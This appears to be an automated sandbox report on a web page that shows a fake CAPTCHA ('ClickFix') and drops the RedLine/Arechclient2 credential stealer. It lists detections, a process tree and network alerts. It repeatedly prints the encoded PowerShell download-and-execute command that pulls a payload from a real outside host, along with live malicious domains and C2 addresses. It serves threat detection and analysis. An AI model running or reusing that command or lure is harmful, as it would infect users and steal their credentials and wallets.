Edit tour

Windows Analysis Report
http://gogocharters.com/lexington-charter-bus

Overview

General Information

Sample URL:	http://gogocharters.com/lexington-charter-bus
Analysis ID:	1696266
Infos:

Detection

CAPTCHA Scam ClickFix, RedLine

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detect drive by download via clipboard copy & paste

Malicious sample detected (through community Yara rule)

Sigma detected: Drops script at startup location

Suricata IDS alerts for network traffic

Yara detected CAPTCHA Scam ClickFix

Yara detected PhishFingerprint

Yara detected Powershell download and execute

Yara detected RedLine Stealer

Creates a thread in another existing process (thread injection)

Encrypted powershell cmdline option found

Found direct / indirect Syscall (likely to bypass EDR)

HTML page adds supicious text to clipboard

Hides threads from debuggers

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Powershell drops PE file

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious execution chain found

Tries to harvest and steal browser information (history, passwords, etc)

Uses known network protocols on non-standard ports

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

Javascript checks online IP of machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Uses threadpools to delay analysis

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6420 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5512 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2016,i,417186349821200926,11770351535666709543,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2068 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6116 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2016,i,417186349821200926,11770351535666709543,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3016 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5460 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2016,i,417186349821200926,11770351535666709543,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=4948 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7332 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://gogocharters.com/lexington-charter-bus" MD5: E81F54E6C1129887AEA47E7D092680BF)

cmd.exe (PID: 4220 cmdline: cmd /K powershell /ep bypass /e JABiAD0AKABOAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABzACcAKwAnAGUAZQAuAGkAbwAvADcAbQAnACsAJwAyAHkAaAB4ACcAKQA7AGkAZQBYACAAJABiADsA /W 1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7348 cmdline: powershell /ep bypass /e JABiAD0AKABOAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABzACcAKwAnAGUAZQAuAGkAbwAvADcAbQAnACsAJwAyAHkAaAB4ACcAKQA7AGkAZQBYACAAJABiADsA /W 1 MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

Aceline.exe (PID: 4216 cmdline: "C:\Users\user\AppData\Local\Temp\Aceline.exe" MD5: FFD09F92A5477A88E376970A0348DDD6)

chrome.exe (PID: 7744 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\user\AppData\Local\Temp\prqukw53.trh" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6252 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\user\AppData\Local\Temp\fdgiw2ct.iws" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 3976 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\user\AppData\Local\Temp\fdgiw2ct.iws /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\user\AppData\Local\Temp\fdgiw2ct.iws\Crashpad --metrics-dir=C:\Users\user\AppData\Local\Temp\fdgiw2ct.iws --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=134.0.6998.36 --initial-client-data=0x10c,0x110,0x114,0xe4,0x118,0x7ff827d24f38,0x7ff827d24f44,0x7ff827d24f50 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7412 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\user\AppData\Local\Temp\kuhvxc0c.w1b" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7448 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\user\AppData\Local\Temp\kuhvxc0c.w1b /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\user\AppData\Local\Temp\kuhvxc0c.w1b\Crashpad --metrics-dir=C:\Users\user\AppData\Local\Temp\kuhvxc0c.w1b --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=134.0.6998.36 --initial-client-data=0x100,0x104,0x108,0xe8,0x10c,0x7ff827d24f38,0x7ff827d24f44,0x7ff827d24f50 MD5: E81F54E6C1129887AEA47E7D092680BF)

Aceline.exe (PID: 8164 cmdline: "C:\Users\user\AppData\Local\Aceline.exe" MD5: FFD09F92A5477A88E376970A0348DDD6)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000D.00000002.2113198177.0000026B3D1B9000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.2113198177.0000026B3D1B9000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000D.00000002.2114186141.0000026B45750000.00000004.10000000.00040000.00000009.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.2114186141.0000026B45750000.00000004.10000000.00040000.00000009.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000D.00000002.2114186141.0000026B45750000.00000004.10000000.00040000.00000009.sdmp	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xcc83b:$s14: keybd_event 0xd3dbd:$v1_1: grabber@ 0xcd63e:$v1_2: <BrowserProfile>k__ 0xce0e3:$v1_3: <SystemHardwares>k__ 0xce1a2:$v1_5: <ScannedWallets>k__ 0xce232:$v1_6: <DicrFiles>k__ 0xce20e:$v1_7: <MessageClientFiles>k__ 0xce5d8:$v1_8: <ScanBrowsers>k__BackingField 0xce62a:$v1_8: <ScanWallets>k__BackingField 0xce647:$v1_8: <ScanScreen>k__BackingField 0xce681:$v1_8: <ScanVPN>k__BackingField 0xbe206:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xbdb12:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
0000000D.00000002.2114653589.00007FF421C40000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.2114653589.00007FF421C40000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000D.00000002.2114653589.00007FF421C40000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0xd6719:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0xd9caf:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
Process Memory Space: Aceline.exe PID: 8164	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Aceline.exe PID: 8164	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
13.2.Aceline.exe.26b45750000.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.2.Aceline.exe.26b45750000.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
13.2.Aceline.exe.26b45750000.2.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xcaa3b:$s14: keybd_event 0xd1fbd:$v1_1: grabber@ 0xcb83e:$v1_2: <BrowserProfile>k__ 0xcc2e3:$v1_3: <SystemHardwares>k__ 0xcc3a2:$v1_5: <ScannedWallets>k__ 0xcc432:$v1_6: <DicrFiles>k__ 0xcc40e:$v1_7: <MessageClientFiles>k__ 0xcc7d8:$v1_8: <ScanBrowsers>k__BackingField 0xcc82a:$v1_8: <ScanWallets>k__BackingField 0xcc847:$v1_8: <ScanScreen>k__BackingField 0xcc881:$v1_8: <ScanVPN>k__BackingField 0xbc406:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xbbd12:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
13.2.Aceline.exe.26b3d1b9ac0.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.2.Aceline.exe.26b3d1b9ac0.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
13.2.Aceline.exe.26b3d1b9ac0.1.raw.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xcc83b:$s14: keybd_event 0xd3dbd:$v1_1: grabber@ 0xcd63e:$v1_2: <BrowserProfile>k__ 0xce0e3:$v1_3: <SystemHardwares>k__ 0xce1a2:$v1_5: <ScannedWallets>k__ 0xce232:$v1_6: <DicrFiles>k__ 0xce20e:$v1_7: <MessageClientFiles>k__ 0xce5d8:$v1_8: <ScanBrowsers>k__BackingField 0xce62a:$v1_8: <ScanWallets>k__BackingField 0xce647:$v1_8: <ScanScreen>k__BackingField 0xce681:$v1_8: <ScanVPN>k__BackingField 0xbe206:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xbdb12:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
13.2.Aceline.exe.7ff421c4128d.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.2.Aceline.exe.7ff421c4128d.3.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
13.2.Aceline.exe.7ff421c4128d.3.raw.unpack	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0xd548c:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0xd8a22:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
13.2.Aceline.exe.7ff421c4128d.3.raw.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xcc83b:$s14: keybd_event 0xd3dbd:$v1_1: grabber@ 0xcd63e:$v1_2: <BrowserProfile>k__ 0xce0e3:$v1_3: <SystemHardwares>k__ 0xce1a2:$v1_5: <ScannedWallets>k__ 0xce232:$v1_6: <DicrFiles>k__ 0xce20e:$v1_7: <MessageClientFiles>k__ 0xce5d8:$v1_8: <ScanBrowsers>k__BackingField 0xce62a:$v1_8: <ScanWallets>k__BackingField 0xce647:$v1_8: <ScanScreen>k__BackingField 0xce681:$v1_8: <ScanVPN>k__BackingField 0xbe206:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xbdb12:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
13.2.Aceline.exe.26b3d1b9ac0.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.2.Aceline.exe.26b3d1b9ac0.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
13.2.Aceline.exe.26b3d1b9ac0.1.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xcaa3b:$s14: keybd_event 0xd1fbd:$v1_1: grabber@ 0xcb83e:$v1_2: <BrowserProfile>k__ 0xcc2e3:$v1_3: <SystemHardwares>k__ 0xcc3a2:$v1_5: <ScannedWallets>k__ 0xcc432:$v1_6: <DicrFiles>k__ 0xcc40e:$v1_7: <MessageClientFiles>k__ 0xcc7d8:$v1_8: <ScanBrowsers>k__BackingField 0xcc82a:$v1_8: <ScanWallets>k__BackingField 0xcc847:$v1_8: <ScanScreen>k__BackingField 0xcc881:$v1_8: <ScanVPN>k__BackingField 0xbc406:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xbbd12:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
13.2.Aceline.exe.26b45750000.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.2.Aceline.exe.26b45750000.2.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
13.2.Aceline.exe.26b45750000.2.raw.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xcc83b:$s14: keybd_event 0xd3dbd:$v1_1: grabber@ 0xcd63e:$v1_2: <BrowserProfile>k__ 0xce0e3:$v1_3: <SystemHardwares>k__ 0xce1a2:$v1_5: <ScannedWallets>k__ 0xce232:$v1_6: <DicrFiles>k__ 0xce20e:$v1_7: <MessageClientFiles>k__ 0xce5d8:$v1_8: <ScanBrowsers>k__BackingField 0xce62a:$v1_8: <ScanWallets>k__BackingField 0xce647:$v1_8: <ScanScreen>k__BackingField 0xce681:$v1_8: <ScanVPN>k__BackingField 0xbe206:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xbdb12:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
13.2.Aceline.exe.7ff421c4128d.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.2.Aceline.exe.7ff421c4128d.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
13.2.Aceline.exe.7ff421c4128d.3.unpack	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0xd368c:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
13.2.Aceline.exe.7ff421c4128d.3.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xcaa3b:$s14: keybd_event 0xd1fbd:$v1_1: grabber@ 0xcb83e:$v1_2: <BrowserProfile>k__ 0xcc2e3:$v1_3: <SystemHardwares>k__ 0xcc3a2:$v1_5: <ScannedWallets>k__ 0xcc432:$v1_6: <DicrFiles>k__ 0xcc40e:$v1_7: <MessageClientFiles>k__ 0xcc7d8:$v1_8: <ScanBrowsers>k__BackingField 0xcc82a:$v1_8: <ScanWallets>k__BackingField 0xcc847:$v1_8: <ScanScreen>k__BackingField 0xcc881:$v1_8: <ScanVPN>k__BackingField 0xbc406:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xbbd12:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
Click to see the 15 entries

HTML

Source	Rule	Description	Author
0.20..script.csv	JoeSecurity_PhishFingerprint	Yara detected PhishFingerprint	Joe Security
1.1.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security
1.2.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi32_7348.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell /ep bypass /e JABiAD0AKABOAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABzACcAKwAnAGUAZQAuAGkAbwAvADcAbQAnACsAJwAyAHkAaAB4ACcAKQA7AGkAZQBYACAAJABiADsA /W 1, CommandLine: powershell /ep bypass /e JABiAD0AKABOAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABzACcAKwAnAGUAZQAuAGkAbwAvADcAbQAnACsAJwAyAHkAaAB4ACcAKQA7AGkAZQBYACAAJABiADsA /W 1, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd /K powershell /ep bypass /e JABiAD0AKABOAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABzACcAKwAnAGUAZQAuAGkAbwAvADcAbQAnACsAJwAyAHkAaAB4ACcAKQA7AGkAZQBYACAAJABiADsA /W 1, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4220, ParentProcessName: cmd.exe, ProcessCommandLine: powershell /ep bypass /e JABiAD0AKABOAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABzACcAKwAnAGUAZQAuAGkAbwAvADcAbQAnACsAJwAyAHkAaAB4ACcAKQA7AGkAZQBYACAAJABiADsA /W 1, ProcessId: 7348, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell /ep bypass /e JABiAD0AKABOAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABzACcAKwAnAGUAZQAuAGkAbwAvADcAbQAnACsAJwAyAHkAaAB4ACcAKQA7AGkAZQBYACAAJABiADsA /W 1, CommandLine: powershell /ep bypass /e JABiAD0AKABOAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABzACcAKwAnAGUAZQAuAGkAbwAvADcAbQAnACsAJwAyAHkAaAB4ACcAKQA7AGkAZQBYACAAJABiADsA /W 1, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd /K powershell /ep bypass /e JABiAD0AKABOAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABzACcAKwAnAGUAZQAuAGkAbwAvADcAbQAnACsAJwAyAHkAaAB4ACcAKQA7AGkAZQBYACAAJABiADsA /W 1, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4220, ParentProcessName: cmd.exe, ProcessCommandLine: powershell /ep bypass /e JABiAD0AKABOAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABzACcAKwAnAGUAZQAuAGkAbwAvADcAbQAnACsAJwAyAHkAaAB4ACcAKQA7AGkAZQBYACAAJABiADsA /W 1, ProcessId: 7348, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\Aceline.exe, ProcessId: 4216, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Aceline.url

Suricata Signatures

ET EXPLOIT_KIT ClickFix Domain in DNS Lookup (clients .contology .com)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-05-21T21:48:01.285037+0200	2061956	1	Exploit Kit Activity Detected	192.168.2.5	57444	1.1.1.1	53	UDP
2025-05-21T21:48:01.285324+0200	2061956	1	Exploit Kit Activity Detected	192.168.2.5	59736	1.1.1.1	53	UDP

ET EXPLOIT_KIT ClickFix Domain in TLS SNI (clients .contology .com)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-05-21T21:48:02.232867+0200	2061957	1	Exploit Kit Activity Detected	192.168.2.5	49713	50.57.243.90	443	TCP

ET EXPLOIT_KIT Observed ClickFix Domain (myvocabulary .com) in DNS Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-05-21T21:48:01.065182+0200	2060839	1	A Network Trojan was detected	192.168.2.5	52117	1.1.1.1	53	UDP

ET EXPLOIT_KIT Observed ClickFix Domain (myvocabulary .com) in TLS SNI

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-05-21T21:48:01.933450+0200	2060845	1	A Network Trojan was detected	192.168.2.5	49712	54.175.154.40	443	TCP

ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-05-21T21:49:12.674746+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49758	144.172.101.228	9000	TCP
2025-05-21T21:49:13.414112+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49759	144.172.101.228	9000	TCP
2025-05-21T21:49:14.159963+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49760	144.172.101.228	9000	TCP
2025-05-21T21:49:14.907576+0200	2052248	1	A Network Trojan was detected	192.168.2.5	49761	144.172.101.228	9000	TCP

ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M3 (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-05-21T21:49:12.674746+0200	2061118	1	A Network Trojan was detected	192.168.2.5	49758	144.172.101.228	9000	TCP
2025-05-21T21:49:13.414112+0200	2061118	1	A Network Trojan was detected	192.168.2.5	49759	144.172.101.228	9000	TCP
2025-05-21T21:49:14.159963+0200	2061118	1	A Network Trojan was detected	192.168.2.5	49760	144.172.101.228	9000	TCP
2025-05-21T21:49:14.907576+0200	2061118	1	A Network Trojan was detected	192.168.2.5	49761	144.172.101.228	9000	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-05-21T21:49:12.674746+0200	2803305	3	Unknown Traffic	192.168.2.5	49758	144.172.101.228	9000	TCP
2025-05-21T21:49:13.414112+0200	2803305	3	Unknown Traffic	192.168.2.5	49759	144.172.101.228	9000	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-05-21T21:48:23.728209+0200	1810000	2	Potentially Bad Traffic	192.168.2.5	49750	104.21.91.178	443	TCP
2025-05-21T21:48:24.560538+0200	1810000	2	Potentially Bad Traffic	192.168.2.5	49751	104.21.16.1	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://browngreencolors.top/miranda/few	Avira URL Cloud: Label: malware
Source: https://septembergoodwine.top/frendly/manchester	Avira URL Cloud: Label: malware
Source: https://browngreencolors.top	Avira URL Cloud: Label: malware
Source: https://septembergoodwine.top	Avira URL Cloud: Label: malware
Source: https://myvocabulary.com/ajax.php?	Avira URL Cloud: Label: phishing
Source: https://clients.contology.com/captcha/ajax.php?	Avira URL Cloud: Label: malware

Phishing

Yara detected CAPTCHA Scam ClickFix

Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.2.pages.csv, type: HTML

Yara detected PhishFingerprint

Source: Yara match

File source: 0.20..script.csv, type: HTML

Source: https://ia-robotics.com/captcha/

HTTP Parser: let checkboxwindow = document.getelementbyid("checkbox-window"); let checkboxbtn = document.getelementbyid("checkbox"); let checkboxbtnspinner = document.getelementbyid("spinner"); let verifywindow = document.getelementbyid("verify-window"); function addcaptchalisteners() { if (checkboxbtn) { document.addeventlistener("click", function (event) { let path = event.composedpath(); if (!path.includes(verifywindow) && isverifywindowvisible()) { closeverifywindow(); } }); checkboxbtn.addeventlistener("click", function (event) { event.preventdefault(); checkboxbtn.disabled = true; runclickedcheckboxeffects(); }); } } function runclickedcheckboxeffects() { hidecaptchacheckbox(); settimeout(function(){ ...

Source: https://gogocharters.com/lexington-charter-bus	HTTP Parser: No favicon
Source: https://ia-robotics.com/captcha/	HTTP Parser: No favicon
Source: https://ia-robotics.com/captcha/	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.254:443 -> 192.168.2.5:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.239.236.43:443 -> 192.168.2.5:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.172:443 -> 192.168.2.5:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.178:443 -> 192.168.2.5:49750 version: TLS 1.2
